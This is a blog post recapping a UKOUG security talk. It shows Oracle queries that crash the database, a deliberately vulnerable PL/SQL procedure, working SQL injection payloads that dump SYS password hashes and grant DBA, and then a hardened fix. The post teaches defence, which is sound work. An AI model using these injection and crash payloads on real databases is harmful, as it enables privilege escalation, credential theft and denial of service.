Ah, finally home after 10 days of travel. I attended the UKOUG event in Birmingham and did a database security presentation and participated in a security round table. I also attended very interesting presentations by Pete Finnigan and Paul Wright.

One noteworthy presentation was called Breaking Oracle which showed how to create scenarios where the Oracle database crashes or spins. I thought that some of the examples in the presentation were major security issues that allow users to crash or spin Oracle with very simple queries.
Please don’t try this on your database –
select 1 from dual where regexp_like(‘ ‘,’^*[ ]*a’);
Or this:
SQL> create table t2(col1 varchar2(60));
SQL> create table t1(c1 varchar2(60),
c2 varchar2(1),
c3 varchar2(60),
c4 varchar2(60));
SQL> explain plan for
select 1 from t1 a, t2 b ,t1 c
where b.col1 = ‘xxslc_department’
and a.c1 not between c.c3 and c.c4
start with a.c2=’p’
connect by prior a.c1 between a.c3 and a.c4;

I thought long and hard about what I was going to present during this conference. I did not want to do the usual stuff of unsecure/default passwords, securing the listener or applying patches. I wanted to present something that would give the attendees a real call-to-action they could take with them immediately after the conference. So, I decided to do something simple that would demonstrate SQL injection on a made-up function and show how you should protect this function. Also, I wanted to show how DBAs could find such vulnerable code in the database and fix it.

As such, I created the following function:
CREATE OR REPLACE PROCEDURE retrieve_data_bad(
p_owner           IN VARCHAR2,
p_table_name      IN VARCHAR2,
p_rows            IN NUMBER := 10)
AS
l_cr              INTEGER;
l_res             INTEGER;
l_col_count       INTEGER;
l_rec_tab         dbms_sql.desc_tab;
l_res_col         VARCHAR2(32000);
BEGIN
l_cr := dbms_sql.open_cursor;
dbms_sql.parse(l_cr, ‘SELECT * FROM ‘ || p_owner || ‘.’ || p_table_name || ‘ WHERE ROWNUM <= ‘ || p_rows, dbms_sql.NATIVE);
dbms_sql.describe_columns(l_cr, l_col_count, l_rec_tab);
FOR l_i IN 1 .. l_col_count
LOOP
dbms_sql.define_column_char(l_cr, l_i, l_res_col, 32000);
END LOOP;
l_res := dbms_sql.execute(l_cr);
LOOP
l_res := dbms_sql.fetch_rows(l_cr);
EXIT WHEN l_res = 0;
FOR l_i IN 1 .. l_col_count
LOOP
dbms_sql.column_value_char(l_cr, l_i, l_res_col);
dbms_output.put_line(l_rec_tab(l_i).col_name || ‘ = ‘ || TRIM(l_res_col));
END LOOP;
END LOOP;
dbms_sql.close_cursor(l_cr);
EXCEPTION
WHEN OTHERS THEN
IF dbms_sql.is_open(l_cr) THEN
dbms_sql.close_cursor(l_cr);
END IF;
raise_application_error(-20001,
‘Error executing select statement: ‘ || sqlerrm);
END retrieve_data_bad;

This function will receive a table name and the owner and will select and display rows from this table. Of course, this is not something you should create in your database but you’d be surprised how many similar functions I’ve seen in our customer’s production databases.

Normal use of the function is something like the following:
SCOTT> set serveroutput on
SCOTT> exec sys.retrieve_data_bad(‘SCOTT’, ‘EMP’, 1)
EMPNO = 7369
ENAME = SMITH
JOB = CLERK
MGR = 7902
HIREDATE = 17-DEC-80
SAL = 800
COMM =
DEPTNO = 20

So, how can you attack this function?

1. Inject SQL
SCOTT> exec sys.retrieve_data_bad(‘dual where 1=2 union
select name || ”:” || password from user$ where user#
= 0–‘, null);
DUMMY = SYS:8A8F025737A9097A

2. Inject functions – grant yourself DBA

CREATE OR REPLACE FUNCTION attack
RETURN VARCHAR2
AUTHID CURRENT_USER
IS
PRAGMA AUTONOMOUS_TRANSACTION;
BEGIN
EXECUTE IMMEDIATE ‘GRANT DBA TO SCOTT’;
RETURN ‘1’;
END get_dba;
/
SCOTT> exec sys.retrieve_data_bad(‘dual where ”x” =
scott.attack() –‘, null)
PL/SQL procedure successfully completed.

3. Inject cursors – does not work on 11g
DECLARE
l_cr NUMBER;
l_res NUMBER;
BEGIN
l_cr := dbms_sql.open_cursor;
dbms_sql.parse(l_cr,
‘DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE ”GRANT dba to public”; END;’, dbms_sql.native);
sys.retrieve_data_bad(‘dual where 1 = dbms_sql.execute(‘ || l_cr || ‘) –‘, null);
END;
/

How to fix this function:
1. The obvious is running with invoker rights. But, sometimes this is not what you want to do because you should allow the users of the function to do more than what they are usually allowed to do.
2. Check that the parameters make sense –
l_owner := sys.dbms_assert.schema_name(upper(p_owner));
l_table_name := sys.dbms_assert.sql_object_name(l_owner || ‘.’ || p_table_name);
dbms_sql.parse(l_cr, ‘SELECT * FROM ‘ || l_owner || ‘.’ || p_table_name || ‘ WHERE ROWNUM <= ‘ || p_rows, dbms_sql.NATIVE);
This almost works but you must also make sure that if someone creates objects like:
create user “emp where 1=scott.attack() –” or create table “emp where 1=scott.attack() –” it will not affect your code.
3. Enquote the objects
l_owner := sys.dbms_assert.enquote_name(sys.dbms_assert.schema_name(upper(p_owner)));
l_table_name := sys.dbms_assert.enquote_name(p_table_name);
4. And, use bind variables to avoid SQL injection in the parameters – in this case, p_rows is not really injectable but to avoid lateral SQL injection it’s better to use a bind variable.
dbms_sql.parse(l_cr, ‘SELECT * FROM ‘ || l_owner || ‘.’ || l_table_name || ‘ WHERE ROWNUM <= :r’, dbms_sql.NATIVE);
dbms_sql.bind_variable(l_cr, ‘r’, p_rows);

The end result is something like the following:

create or replace PROCEDURE retrieve_data_good_2(
p_owner           IN VARCHAR2,
p_table_name      IN VARCHAR2,
p_rows            IN NUMBER := 10)
AS
l_cr              INTEGER;
l_res             INTEGER;
l_col_count       INTEGER;
l_rec_tab         dbms_sql.desc_tab;
l_res_col         VARCHAR2(32000);
l_owner           VARCHAR2(50);
l_table_name      VARCHAR2(50);
BEGIN
l_owner := sys.dbms_assert.enquote_name(sys.dbms_assert.schema_name(upper(p_owner)));
l_table_name := sys.dbms_assert.sql_object_name(l_owner || ‘.’ || p_table_name);
l_table_name := sys.dbms_assert.enquote_name(upper(p_table_name));
l_cr := dbms_sql.open_cursor;
dbms_sql.parse(l_cr, ‘SELECT * FROM ‘ || l_owner || ‘.’ || l_table_name || ‘ WHERE ROWNUM <= :r’, dbms_sql.NATIVE);
dbms_sql.bind_variable(l_cr, ‘r’, p_rows);
dbms_sql.describe_columns(l_cr, l_col_count, l_rec_tab);
FOR l_i IN 1 .. l_col_count
LOOP
dbms_sql.define_column_char(l_cr, l_i, l_res_col, 32000);
END LOOP;
l_res := dbms_sql.execute(l_cr);
LOOP
l_res := dbms_sql.fetch_rows(l_cr);
EXIT WHEN l_res = 0;
FOR l_i IN 1 .. l_col_count
LOOP
dbms_sql.column_value_char(l_cr, l_i, l_res_col);
dbms_output.put_line(l_rec_tab(l_i).col_name || ‘ = ‘ || TRIM(l_res_col));
END LOOP;
END LOOP;
dbms_sql.close_cursor(l_cr);
EXCEPTION
WHEN OTHERS THEN
IF dbms_sql.is_open(l_cr) THEN
dbms_sql.close_cursor(l_cr);
END IF;
raise_application_error(-20001,
‘Error executing select statement: ‘ || sqlerrm);
END retrieve_data_good_2;

As you can see, it’s not that easy to write secure code and think about all the options. As Tom Kyte told me before the presentation – if you are doing dynamic SQL, have at least 5 people who don’t like you review the code 🙂

In my next post, I will show you how to find vulnerable code in your database by using simple tools and queries.